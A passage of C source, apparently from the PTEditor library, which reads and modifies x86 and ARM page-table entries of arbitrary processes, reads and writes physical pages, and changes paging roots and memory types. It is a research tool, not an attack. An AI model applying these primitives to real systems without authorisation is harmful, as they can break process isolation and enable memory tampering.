PTEDIT_PAGE_BIT_MAIR_BIT2 4 /** Page is non-secure */ #define PTEDIT_PAGE_BIT_NON_SECURE 5 /** Page permissions 1/2 */ #define PTEDIT_PAGE_BIT_PERMISSION_BIT0 6 /** Page permissions 2/2 */ #define PTEDIT_PAGE_BIT_PERMISSION_BIT1 7 /** Shareability domain 1/2 */ #define PTEDIT_PAGE_BIT_SHARE_BIT0 8 /** Shareability domain 2/2 */ #define PTEDIT_PAGE_BIT_SHARE_BIT1 9 /** Page was accessed (raised by CPU) */ #define PTEDIT_PAGE_BIT_ACCESSED 10 /** Page is not global */ #define PTEDIT_PAGE_BIT_NOT_GLOBAL 11 /** Contiguous */ #define PTEDIT_PAGE_BIT_CONTIGUOUS 52 /** Privileged execute never */ #define PTEDIT_PAGE_BIT_PXN 53 /** Execute never */ #define PTEDIT_PAGE_BIT_XN 54 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW1 55 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW2 56 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW3 57 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW4 58 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW5 59 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW6 60 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW7 61 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW8 62 /** Available for programmer */ #define PTEDIT_PAGE_BIT_SOFTW9 63 #endif /** @} */ /** * The memory types (PAT/MAIR)values * * @defgroup MEMORY_TYPES Memory Types (PAT/MAIR values) * * @{ */ #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) /** Strong uncachable (nothing is cached) */ #define PTEDIT_MT_UC 0 /** Write combining (consecuite writes are combined in a WC buffer and then written once) */ #define PTEDIT_MT_WC 1 /** Write through (read accesses are cached, write access are written to cache and memory) */ #define PTEDIT_MT_WT 4 /** Write protected (only read access is cached) */ #define PTEDIT_MT_WP 5 /** Write back (read and write accesses are cached) */ #define PTEDIT_MT_WB 6 /** Uncachable (as UC, but can be changed to WC through MTRRs) */ #define PTEDIT_MT_UCMINUS 7 #elif defined(__aarch64__) /** Strong uncachable (nothing is cached) */ #define PTEDIT_MT_UC 0x44 /** Write through (read accesses are cached, write access are written to cache and memory) */ #define PTEDIT_MT_WT 0xbb /** Write back (read and write accesses are cached) */ #define PTEDIT_MT_WB 0xff #endif /** @} */ /** * Basic functionality required in every program * * @defgroup BASIC Basic Functionality * * @{ */ /** * Initializes (and acquires) PTEditor kernel module * * @return 0 Initialization was successful * @return -1 Initialization failed */ int ptedit_init(); /** * Releases PTEditor kernel module * */ void ptedit_cleanup(); /** * Switch between kernel and user-space implementation * * @param[in] implementation The implementation to use, either PTEDIT_IMPL_KERNEL, PTEDIT_IMPL_USER, or PTEDIT_IMPL_USER_PREAD * */ void ptedit_use_implementation(int implementation); /** @} */ /** * Functions to read and write page tables * * @defgroup PAGETABLE Page tables * * @{ */ typedef ptedit_entry_t(*ptedit_resolve_t)(void*, pid_t); typedef void (*ptedit_update_t)(void*, pid_t, ptedit_entry_t*); /** * Resolves the page-table entries of all levels for a virtual address of a given process. * * @param[in] address The virtual address to resolve * @param[in] pid The pid of the process (0 for own process) * * @return A structure containing the page-table entries of all levels. */ ptedit_resolve_t ptedit_resolve; /** * Updates one or more page-table entries for a virtual address of a given process. * The TLB for the given address is flushed after updating the entries. * * @param[in] address The virtual address * @param[in] pid The pid of the process (0 for own process) * @param[in] vm A structure containing the values for the page-table entries and a bitmask indicating which entries to update * */ ptedit_update_t ptedit_update; /** * Sets a bit directly in the PTE of an address. * * @param[in] address The virtual address * @param[in] pid The pid of the process (0 for own process) * @param[in] bit The bit to set (one of PTEDIT_PAGE_BIT_*) * */ void ptedit_pte_set_bit(void* address, pid_t pid, int bit); /** * Clears a bit directly in the PTE of an address. * * @param[in] address The virtual address * @param[in] pid The pid of the process (0 for own process) * @param[in] bit The bit to clear (one of PTEDIT_PAGE_BIT_*) * */ void ptedit_pte_clear_bit(void* address, pid_t pid, int bit); /** * Returns the value of a bit directly from the PTE of an address. * * @param[in] address The virtual address * @param[in] pid The pid of the process (0 for own process) * @param[in] bit The bit to get (one of PTEDIT_PAGE_BIT_*) * * @return The value of the bit (0 or 1) * */ unsigned char ptedit_pte_get_bit(void* address, pid_t pid, int bit); /** * Reads the PFN directly from the PTE of an address. * * @param[in] address The virtual address * @param[in] pid The pid of the process (0 for own process) * * @return The page-frame number (PFN) * */ size_t ptedit_pte_get_pfn(void* address, pid_t pid); /** * Sets the PFN directly in the PTE of an address. * * @param[in] address The virtual address * @param[in] pid The pid of the process (0 for own process) * @param[in] pfn The new page-frame number (PFN) * */ void ptedit_pte_set_pfn(void* address, pid_t pid, size_t pfn); #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) #define PTEDIT_PAGE_PRESENT 1 /** * Struct to access the fields of the PGD */ #pragma pack(push,1) typedef struct { size_t present : 1; size_t writeable : 1; size_t user_access : 1; size_t write_through : 1; size_t cache_disabled : 1; size_t accessed : 1; size_t ignored_3 : 1; size_t size : 1; size_t ignored_2 : 4; size_t pfn : 28; size_t reserved_1 : 12; size_t ignored_1 : 11; size_t execution_disabled : 1; } ptedit_pgd_t; #pragma pack(pop) /** * Struct to access the fields of the P4D */ typedef ptedit_pgd_t ptedit_p4d_t; /** * Struct to access the fields of the PUD */ typedef ptedit_pgd_t ptedit_pud_t; /** * Struct to access the fields of the PMD */ typedef ptedit_pgd_t ptedit_pmd_t; /** * Struct to access the fields of the PMD when mapping a large page (2MB) */ #pragma pack(push,1) typedef struct { size_t present : 1; size_t writeable : 1; size_t user_access : 1; size_t write_through : 1; size_t cache_disabled : 1; size_t accessed : 1; size_t dirty : 1; size_t size : 1; size_t global : 1; size_t ignored_2 : 3; size_t pat : 1; size_t reserved_2 : 8; size_t pfn : 19; size_t reserved_1 : 12; size_t ignored_1 : 11; size_t execution_disabled : 1; } ptedit_pmd_large_t; #pragma pack(pop) /** * Struct to access the fields of the PTE */ #pragma pack(push,1) typedef struct { size_t present : 1; size_t writeable : 1; size_t user_access : 1; size_t write_through : 1; size_t cache_disabled : 1; size_t accessed : 1; size_t dirty : 1; size_t size : 1; size_t global : 1; size_t ignored_2 : 3; size_t pfn : 28; size_t reserved_1 : 12; size_t ignored_1 : 11; size_t execution_disabled : 1; } ptedit_pte_t; #pragma pack(pop) #elif defined(__aarch64__) #define PTEDIT_PAGE_PRESENT 3 /** * Struct to access the fields of the PGD */ typedef struct { size_t present : 2; size_t ignored_1 : 10; size_t pfn : 36; size_t reserved : 4; size_t ignored_2 : 7; size_t pxn_table : 1; size_t xn_table : 1; size_t ap_table : 2; size_t ns_table : 1; }__attribute__((__packed__)) ptedit_pgd_t; /** * Struct to access the fields of the P4D */ typedef ptedit_pgd_t ptedit_p4d_t; /** * Struct to access the fields of the PUD */ typedef ptedit_pgd_t ptedit_pud_t; /** * Struct to access the fields of the PMD */ typedef ptedit_pgd_t ptedit_pmd_t; /** * Struct to access the fields of the PGD when mapping a large page */ typedef struct { size_t present : 2; size_t memory_attributes_index : 3; size_t non_secure : 1; size_t access_permissions : 2; size_t shareability_field : 2; size_t access_flag : 1; size_t not_global : 1; size_t reserved_1 : 18; size_t pfn : 18; size_t reserved_2 : 4; size_t contiguous : 1; size_t privileged_execute_never : 1; size_t execute_never : 1; size_t ingored_1 : 4; size_t ignored_2 : 5; }__attribute__((__packed__)) ptedit_pgd_large_t; /** * Struct to access the fields of the PMD when mapping a large page */ typedef struct { size_t present : 2; size_t memory_attributes_index : 3; size_t non_secure : 1; size_t access_permissions : 2; size_t shareability_field : 2; size_t access_flag : 1; size_t not_global : 1; size_t reserved_1 : 9; size_t pfn : 27; size_t reserved_2 : 4; size_t contiguous : 1; size_t privileged_execute_never : 1; size_t execute_never : 1; size_t ingored_1 : 4; size_t ignored_2 : 5; }__attribute__((__packed__)) ptedit_pmd_large_t; /** * Struct to access the fields of the PTE */ typedef struct { size_t present : 2; size_t memory_attributes_index : 3; size_t non_secure : 1; size_t access_permissions : 2; size_t shareability_field : 2; size_t access_flag : 1; size_t not_global : 1; size_t pfn : 36; size_t reserved_1 : 4; size_t contiguous : 1; size_t privileged_execute_never : 1; size_t execute_never : 1; size_t ingored_1 : 4; size_t ignored_2 : 5; }__attribute__((__packed__)) ptedit_pte_t; #endif /** * Casts a paging structure entry (e.g., page table) to a structure with easy access to its fields * * @param[in] v Entry to Cast * @param[in] type Data type of struct to cast to, e.g., ptedit_pte_t * * @return Struct of type "type" with easily accessible fields */ #define ptedit_cast(v, type) (*((type*)(&(v)))) /** @} */ /** * General system info * * @defgroup SYSTEMINFO System info * * @{ */ /** * Returns the default page size of the system * * @return Page size of the system in bytes */ int ptedit_get_pagesize(); /** @} */ /** * Get and set page frame numbers * * @defgroup PFN Page frame numbers (PFN) * * @{ */ /** * Returns a new page-table entry where the page-frame number (PFN) is replaced by the specified one. * * @param[in] entry The page-table entry to modify * @param[in] pfn The new page-frame number (PFN) * * @return A new page-table entry with the given page-frame number */ size_t ptedit_set_pfn(size_t entry, size_t pfn); /** * Returns the page-frame number (PFN) of a page-table entry. * * @param[in] entry The page-table entry to extract the PFN from * * @return The page-frame number */ size_t ptedit_get_pfn(size_t entry); /** @} */ /** * Reading and writing of physical pages * * @defgroup PHYSICALPAGE Physical pages * * @{ */ /** * Retrieves the content of a physical page. * * @param[in] pfn The page-frame number (PFN) of the page to read * @param[out] buffer A buffer which is large enough to hold the content of the page * */ void ptedit_read_physical_page(size_t pfn, char* buffer); /** * Replaces the content of a physical page. * * @param[in] pfn The page-frame number (PFN) of the page to update * @param[in] content A buffer containing the new content of the page (must be the size of a physical page) * */ void ptedit_write_physical_page(size_t pfn, char* content); /** * Map a physical address range. * * @param[in] physical The physical address to map * @param[in] length The length of the physical memory range to map * * @return A virtual address that can be used to access the physical range */ void* ptedit_pmap(size_t physical, size_t length); /** @} */ /** * Read and modify the root of paging structure * * @defgroup PAGING Paging * * @{ */ /** * Returns the root of the paging structure (i.e., CR3 on x86 and TTBR0 on ARM). * * @param[in] pid The proccess id (0 for own process) * * @return The phyiscal address (not PFN!) of the first page table (i.e., the PGD) * */ size_t ptedit_get_paging_root(pid_t pid); /** * Sets the root of the paging structure (i.e., CR3 on x86 and TTBR0 on ARM). * * @param[in] pid The proccess id (0 for own process) * @param[in] root The physical address (not PFN!) of the first page table (i.e., the PGD) * */ void ptedit_set_paging_root(pid_t pid, size_t root); /** @} */ /** * Invalidations and barriers * * @defgroup BARRIERS TLB/Barriers * * @{ */ /** * Invalidates the TLB for a given address on all CPUs. * * @param[in] address The address to invalidate * */ void ptedit_invalidate_tlb(void* address); /** * Change the method used for flushing the TLB (either kernel or custom function) * * @param[in] implementation The implementation to use, either PTEDITOR_TLB_INVALIDATION_KERNEL or PTEDITOR_TLB_INVALIDATION_CUSTOM * * @return 0 on success, -1 on failure */ int ptedit_switch_tlb_invalidation(int implementation); /** * A full serializing barrier which stops everything. * */ void ptedit_full_serializing_barrier(); /** @} */ /** * Memory types (x86 PATs / ARM MAIR) * * @defgroup MTS Memory types (PATs / MAIR) * * @{ */ /** * Reads the value of all memory types (x86 PATs / ARM MAIRs). This is equivalent to reading the MSR 0x277 (x86) / MAIR_EL1 (ARM). * * @return The memory types in the same format as in the IA32_PAT MSR / MAIR_EL1 * */ size_t ptedit_get_mts(); /** * Programs the value of all memory types (x86 PATs / ARM MAIRs). This is equivalent to writing to the MSR 0x277 (x86) / MAIR_EL1 (ARM) on all CPUs. * * @param[in] mts The memory types in the same format as in the IA32_PAT MSR / MAIR_EL1 * */ void ptedit_set_mts(size_t mts); /** * Reads the value of a specific memory type attribute (PAT/MAIR). * * @param[in] mt The PAT/MAIR ID (from 0 to 7) * * @return The PAT/MAIR value (can be one of PTEDIT_MT_*) * */ char ptedit_get_mt(unsigned char mt); /** * Programs the value of a specific memory type attribute (PAT/MAIR). * * @param[in] mt The PAT/MAIR ID (from 0 to 7) * @param[in] value The PAT/MAIR value (can be one of PTEDIT_MT_*) * */ void ptedit_set_mt(unsigned char mt, unsigned char value); /** * Generates a bitmask of all memory type attributes (PAT/MAIR) which are programmed to the given value. * * @param[in] type A memory type, i.e., PAT/MAIR value (one of PTEDIT_MT_*) * * @return A bitmask where a set bit indicates that the corresponding PAT/MAIR has the given type * */ unsigned char ptedit_find_mt(unsigned char type); /** * Returns the first memory type attribute (PAT/MAIR) which is programmed to the given memory type. * * @param[in] type A memory type, i.e., PAT/MAIR value (one of PTEDIT_MT_*) * * @return A PAT/MAIR ID, or -1 if no PAT/MAIR of this type was found * */ int ptedit_find_first_mt(unsigned char type); /** * Returns a new page-table entry which uses the given memory type (PAT/MAIR). * * @param[in] entry A page-table entry * @param[in] mt A PAT/MAIR ID (between 0 and 7) * * @return A new page-table entry with the given memory type (PAT/MAIR) * */ size_t ptedit_apply_mt(size_t entry, unsigned char mt); /** * Returns the memory type (i.e., PAT/MAIR ID) which is used by a page-table entry. * * @param[in] entry A page-table entry * * @return A PAT/MAIR ID (between 0 and 7) * */ unsigned char ptedit_extract_mt(size_t entry); /** * Returns a human-readable representation of a memory type (PAT/MAIR value). * * @param[in] mt A memory type (PAT/MAIR value, e.g., one of PTEDIT_MT_*) * * @return A human-readable representation of the memory type * */ const char* ptedit_mt_to_string(unsigned char mt); /** @} */ /** * Pretty print * * @defgroup PRETTYPRINT Pretty print * * @{ */ /** * Pretty prints a ptedit_entry_t struct. * * @param[in] entry A ptedit_entry_t struct * */ void ptedit_print_entry_t(ptedit_entry_t entry); /** * Pretty prints a page-table entry. * * @param[in] entry A page-table entry * */ void ptedit_print_entry(size_t entry); /** * Prints a single line of the pretty-print representation of a page-table entry. * * @param[in] entry A page-table entry * @param[in] line The line to print (0 to 3) * */ void ptedit_print_entry_line(size_t entry, int line); /** @} */ #endif #include #include #include #include #if defined(LINUX) #include #include #include #else #include #endif #if defined(LINUX) #define PTEDIT_COLOR_RED "\x1b[31m" #define PTEDIT_COLOR_GREEN "\x1b[32m" #define PTEDIT_COLOR_RESET "\x1b[0m" #else #define PTEDIT_COLOR_RED "" #define PTEDIT_COLOR_GREEN "" #define PTEDIT_COLOR_RESET "" #endif #if defined(WINDOWS) #define NO_WINDOWS_SUPPORT fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: %s not supported on Windows", __func__); #endif #if defined(WINDOWS) static HANDLE ptedit_fd; #else static int ptedit_fd; #endif static int ptedit_umem; static int ptedit_pagesize; static size_t ptedit_paging_root; static unsigned char* ptedit_vmem; typedef struct { int has_pgd, has_p4d, has_pud, has_pmd, has_pt; int pgd_entries, p4d_entries, pud_entries, pmd_entries, pt_entries; int page_offset; } ptedit_paging_definition_t; ptedit_paging_definition_t ptedit_paging_definition; // --------------------------------------------------------------------------- ptedit_entry_t ptedit_resolve_kernel(void* address, pid_t pid) { ptedit_entry_t vm; memset(&vm, 0, sizeof(vm)); vm.vaddr = (size_t)address; vm.pid = (size_t)pid; #if defined(LINUX) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_VM_RESOLVE, (size_t)&vm); #else NO_WINDOWS_SUPPORT; #endif return vm; } // --------------------------------------------------------------------------- typedef size_t(*ptedit_phys_read_t)(size_t); typedef void(*ptedit_phys_write_t)(size_t, size_t); // --------------------------------------------------------------------------- static inline size_t ptedit_phys_read_map(size_t address) { return *(size_t*)(ptedit_vmem + address); } // --------------------------------------------------------------------------- static inline void ptedit_phys_write_map(size_t address, size_t value) { *(size_t*)(ptedit_vmem + address) = value; } // --------------------------------------------------------------------------- static inline size_t ptedit_phys_read_pread(size_t address) { size_t val = 0; #if defined(LINUX) if (pread(ptedit_umem, &val, sizeof(size_t), address) == -1) { return val; } #else ULONG returnLength; DeviceIoControl(ptedit_fd, PTEDITOR_READ_PHYS_VAL, (LPVOID)&address, sizeof(address), (LPVOID)&val, sizeof(val), &returnLength, 0); #endif return val; } // --------------------------------------------------------------------------- static inline void ptedit_phys_write_pwrite(size_t address, size_t value) { #if defined(LINUX) if (pwrite(ptedit_umem, &value, sizeof(size_t), address) == -1) { return; } #else ULONG returnLength; size_t info[2]; info[0] = address; info[1] = value; DeviceIoControl(ptedit_fd, PTEDITOR_WRITE_PHYS_VAL, (LPVOID)&info, sizeof(info), (LPVOID)&info, sizeof(info), &returnLength, 0); #endif } // --------------------------------------------------------------------------- static ptedit_entry_t ptedit_resolve_user_ext(void* address, pid_t pid, ptedit_phys_read_t deref) { size_t root = (pid == 0) ? ptedit_paging_root : ptedit_get_paging_root(pid); int pgdi, p4di, pudi, pmdi, pti; size_t addr = (size_t)address; pgdi = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries + ptedit_paging_definition.pmd_entries + ptedit_paging_definition.pud_entries + ptedit_paging_definition.p4d_entries)) % (1ull << ptedit_paging_definition.pgd_entries); p4di = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries + ptedit_paging_definition.pmd_entries + ptedit_paging_definition.pud_entries)) % (1ull << ptedit_paging_definition.p4d_entries); pudi = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries + ptedit_paging_definition.pmd_entries)) % (1ull << ptedit_paging_definition.pud_entries); pmdi = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries)) % (1ull << ptedit_paging_definition.pmd_entries); pti = (addr >> ptedit_paging_definition.page_offset) % (1ull << ptedit_paging_definition.pt_entries); ptedit_entry_t resolved; memset(&resolved, 0, sizeof(resolved)); resolved.vaddr = (size_t)address; resolved.pid = (size_t)pid; resolved.valid = 0; if(!root) return resolved; size_t pgd_entry, p4d_entry, pud_entry, pmd_entry, pt_entry; // printf("%zx + CR3(%zx) + PGDI(%zx) * 8 = %zx\n", ptedit_vmem, root, pgdi, ptedit_vmem + root + pgdi * sizeof(size_t)); pgd_entry = deref(root + pgdi * sizeof(size_t)); if (ptedit_cast(pgd_entry, ptedit_pgd_t).present != PTEDIT_PAGE_PRESENT) { return resolved; } resolved.pgd = pgd_entry; resolved.valid |= PTEDIT_VALID_MASK_PGD; if (ptedit_paging_definition.has_p4d) { size_t pfn = (size_t)(ptedit_cast(pgd_entry, ptedit_pgd_t).pfn); p4d_entry = deref(pfn * ptedit_pagesize + p4di * sizeof(size_t)); resolved.valid |= PTEDIT_VALID_MASK_P4D; } else { p4d_entry = pgd_entry; } resolved.p4d = p4d_entry; if (ptedit_cast(p4d_entry, ptedit_p4d_t).present != PTEDIT_PAGE_PRESENT) { return resolved; } if (ptedit_paging_definition.has_pud) { size_t pfn = (size_t)(ptedit_cast(p4d_entry, ptedit_p4d_t).pfn); pud_entry = deref(pfn * ptedit_pagesize + pudi * sizeof(size_t)); resolved.valid |= PTEDIT_VALID_MASK_PUD; } else { pud_entry = p4d_entry; } resolved.pud = pud_entry; if (ptedit_cast(pud_entry, ptedit_pud_t).present != PTEDIT_PAGE_PRESENT) { return resolved; } if (ptedit_paging_definition.has_pmd) { size_t pfn = (size_t)(ptedit_cast(pud_entry, ptedit_pud_t).pfn); pmd_entry = deref(pfn * ptedit_pagesize + pmdi * sizeof(size_t)); resolved.valid |= PTEDIT_VALID_MASK_PMD; } else { pmd_entry = pud_entry; } resolved.pmd = pmd_entry; if (ptedit_cast(pmd_entry, ptedit_pmd_t).present != PTEDIT_PAGE_PRESENT) { return resolved; } #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) if (!ptedit_cast(pmd_entry, ptedit_pmd_t).size) { #endif // normal 4kb page size_t pfn = (size_t)(ptedit_cast(pmd_entry, ptedit_pmd_t).pfn); pt_entry = deref(pfn * ptedit_pagesize + pti * sizeof(size_t)); //pt[pti]; resolved.pte = pt_entry; resolved.valid |= PTEDIT_VALID_MASK_PTE; if (ptedit_cast(pt_entry, ptedit_pte_t).present != PTEDIT_PAGE_PRESENT) { return resolved; } #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) } #endif return resolved; } // --------------------------------------------------------------------------- static ptedit_entry_t ptedit_resolve_user(void* address, pid_t pid) { return ptedit_resolve_user_ext(address, pid, ptedit_phys_read_pread); } // --------------------------------------------------------------------------- static ptedit_entry_t ptedit_resolve_user_map(void* address, pid_t pid) { return ptedit_resolve_user_ext(address, pid, ptedit_phys_read_map); } // --------------------------------------------------------------------------- void ptedit_update_kernel(void* address, pid_t pid, ptedit_entry_t* vm) { vm->vaddr = (size_t)address; vm->pid = (size_t)pid; #if defined(LINUX) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_VM_UPDATE, (size_t)vm); #else NO_WINDOWS_SUPPORT #endif } // --------------------------------------------------------------------------- void ptedit_update_user_ext(void* address, pid_t pid, ptedit_entry_t* vm, ptedit_phys_write_t pset) { ptedit_entry_t current = ptedit_resolve(address, pid); size_t root = (pid == 0) ? ptedit_paging_root : ptedit_get_paging_root(pid); if(!root) return; size_t pgdi, p4di, pudi, pmdi, pti; size_t addr = (size_t)address; pgdi = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries + ptedit_paging_definition.pmd_entries + ptedit_paging_definition.pud_entries + ptedit_paging_definition.p4d_entries)) % (1ull << ptedit_paging_definition.pgd_entries); p4di = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries + ptedit_paging_definition.pmd_entries + ptedit_paging_definition.pud_entries)) % (1ull << ptedit_paging_definition.p4d_entries); pudi = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries + ptedit_paging_definition.pmd_entries)) % (1ull << ptedit_paging_definition.pud_entries); pmdi = (addr >> (ptedit_paging_definition.page_offset + ptedit_paging_definition.pt_entries)) % (1ull << ptedit_paging_definition.pmd_entries); pti = (addr >> ptedit_paging_definition.page_offset) % (1ull << ptedit_paging_definition.pt_entries); if ((vm->valid & PTEDIT_VALID_MASK_PTE) && (current.valid & PTEDIT_VALID_MASK_PTE)) { pset((size_t)ptedit_cast(current.pmd, ptedit_pmd_t).pfn * ptedit_pagesize + pti * (ptedit_pagesize / (1 << ptedit_paging_definition.pt_entries)), vm->pte); } if ((vm->valid & PTEDIT_VALID_MASK_PMD) && (current.valid & PTEDIT_VALID_MASK_PMD) && ptedit_paging_definition.has_pmd) { pset((size_t)ptedit_cast(current.pud, ptedit_pud_t).pfn * ptedit_pagesize + pmdi * (ptedit_pagesize / (1 << ptedit_paging_definition.pmd_entries)), vm->pmd); } if ((vm->valid & PTEDIT_VALID_MASK_PUD) && (current.valid & PTEDIT_VALID_MASK_PUD) && ptedit_paging_definition.has_pud) { pset((size_t)ptedit_cast(current.p4d, ptedit_p4d_t).pfn * ptedit_pagesize + pudi * (ptedit_pagesize / (1 << ptedit_paging_definition.pud_entries)), vm->pud); } if ((vm->valid & PTEDIT_VALID_MASK_P4D) && (current.valid & PTEDIT_VALID_MASK_P4D) && ptedit_paging_definition.has_p4d) { pset((size_t)ptedit_cast(current.pgd, ptedit_pgd_t).pfn * ptedit_pagesize + p4di * (ptedit_pagesize / (1 << ptedit_paging_definition.p4d_entries)), vm->p4d); } if ((vm->valid & PTEDIT_VALID_MASK_PGD) && (current.valid & PTEDIT_VALID_MASK_PGD) && ptedit_paging_definition.has_pgd) { pset(root + pgdi * (ptedit_pagesize / (1 << ptedit_paging_definition.pgd_entries)), vm->pgd); } ptedit_invalidate_tlb(address); } // --------------------------------------------------------------------------- static void ptedit_update_user(void* address, pid_t pid, ptedit_entry_t* vm) { ptedit_update_user_ext(address, pid, vm, ptedit_phys_write_pwrite); ptedit_invalidate_tlb(address); } // --------------------------------------------------------------------------- static void ptedit_update_user_map(void* address, pid_t pid, ptedit_entry_t* vm) { ptedit_update_user_ext(address, pid, vm, ptedit_phys_write_map); ptedit_invalidate_tlb(address); } // --------------------------------------------------------------------------- void* ptedit_pmap(size_t physical, size_t length) { #if defined(LINUX) char* m = (char*)mmap(0, length + (physical % ptedit_pagesize), PROT_READ | PROT_WRITE, MAP_SHARED, ptedit_umem, ((size_t)(physical / ptedit_pagesize)) * ptedit_pagesize); return m + (physical % ptedit_pagesize); #else NO_WINDOWS_SUPPORT; return NULL; #endif } // --------------------------------------------------------------------------- size_t ptedit_set_pfn(size_t pte, size_t pfn) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) pte &= ~(((1ull << 40) - 1) << 12); #elif defined(__aarch64__) pte &= ~(((1ull << 36) - 1) << 12); #endif pte |= pfn << 12; return pte; } // --------------------------------------------------------------------------- size_t ptedit_get_pfn(size_t pte) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) return (pte & (((1ull << 40) - 1) << 12)) >> 12; #elif defined(__aarch64__) return (pte & (((1ull << 36) - 1) << 12)) >> 12; #endif } // --------------------------------------------------------------------------- #define PTEDIT_B(val, bit) (!!((val) & (1ull << (bit)))) #define PEDIT_PRINT_B(fmt, bit) \ if ((bit)) { \ printf(PTEDIT_COLOR_GREEN); \ printf((fmt), (bit)); \ printf(PTEDIT_COLOR_RESET); \ } else { \ printf((fmt), (bit)); \ } \ printf("|"); // --------------------------------------------------------------------------- void ptedit_print_entry_line(size_t entry, int line) { #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) if (line == 0 || line == 3) printf("+--+------------------+-+-+-+-+-+-+-+-+--+--+-+-+-+\n"); if (line == 1) printf("|NX| PFN |H|?|?|?|G|S|D|A|UC|WT|U|W|P|\n"); if (line == 2) { printf("|"); PEDIT_PRINT_B(" %d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_NX)); printf(" %16p |", (void*)((entry >> 12) & ((1ull << 40) - 1))); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PAT_LARGE)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW3)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW2)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW1)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_GLOBAL)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PSE)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_DIRTY)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_ACCESSED)); PEDIT_PRINT_B(" %d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PCD)); PEDIT_PRINT_B(" %d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PWT)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_USER)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_RW)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PRESENT)); printf("\n"); } #elif defined(__aarch64__) if (line == 0 || line == 3) { printf("+--+--+--+---+-+--+------------------+--+-+-+-+--+---+-+\n"); } if (line == 1) { printf("| ?| ?|XN|PXN|C| ?| PFN |NG|A|S|P|NS|MAI|T|\n"); } if (line == 2) { printf("|"); PEDIT_PRINT_B("%2d", (PTEDIT_B(entry, 63) << 4) | (PTEDIT_B(entry, 62) << 3) | (PTEDIT_B(entry, 61) << 2) | (PTEDIT_B(entry, 60) << 1) | PTEDIT_B(entry, 59)); PEDIT_PRINT_B("%2d", (PTEDIT_B(entry, 58) << 3) | (PTEDIT_B(entry, 57) << 2) | (PTEDIT_B(entry, 56) << 1) | PTEDIT_B(entry, 55)); PEDIT_PRINT_B(" %d", PTEDIT_B(entry, 54)); PEDIT_PRINT_B(" %d ", PTEDIT_B(entry, 53)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, 52)); PEDIT_PRINT_B("%2d", (PTEDIT_B(entry, 51) << 3) | (PTEDIT_B(entry, 50) << 2) | (PTEDIT_B(entry, 49) << 1) | PTEDIT_B(entry, 48)); printf(" %16p |", (void*)((entry >> 12) & ((1ull << 36) - 1))); PEDIT_PRINT_B(" %d", PTEDIT_B(entry, 11)); PEDIT_PRINT_B("%d", PTEDIT_B(entry, 10)); PEDIT_PRINT_B("%d", (PTEDIT_B(entry, 9) << 1) | PTEDIT_B(entry, 8)); PEDIT_PRINT_B("%d", (PTEDIT_B(entry, 7) << 1) | PTEDIT_B(entry, 6)); PEDIT_PRINT_B(" %d", PTEDIT_B(entry, 5)); PEDIT_PRINT_B(" %d ", (PTEDIT_B(entry, 4) << 2) | (PTEDIT_B(entry, 3) << 1) | PTEDIT_B(entry, 2)); PEDIT_PRINT_B("%d", (PTEDIT_B(entry, 1) << 1) | PTEDIT_B(entry, 0)); printf("\n"); } #endif } // --------------------------------------------------------------------------- void ptedit_print_entry(size_t entry) { int i = 0; for (i = 0; i < 4; i++) { ptedit_print_entry_line(entry, i); } } // --------------------------------------------------------------------------- void ptedit_print_entry_t(ptedit_entry_t entry) { if (entry.valid & PTEDIT_VALID_MASK_PGD) { printf("PGD of address\n"); ptedit_print_entry(entry.pgd); } if (entry.valid & PTEDIT_VALID_MASK_P4D) { printf("P4D of address\n"); ptedit_print_entry(entry.p4d); } if (entry.valid & PTEDIT_VALID_MASK_PUD) { printf("PUD of address\n"); ptedit_print_entry(entry.pud); } if (entry.valid & PTEDIT_VALID_MASK_PMD) { printf("PMD of address\n"); ptedit_print_entry(entry.pmd); } if (entry.valid & PTEDIT_VALID_MASK_PTE) { printf("PTE of address\n"); ptedit_print_entry(entry.pte); } } // --------------------------------------------------------------------------- int ptedit_init() { #if defined(LINUX) ptedit_fd = 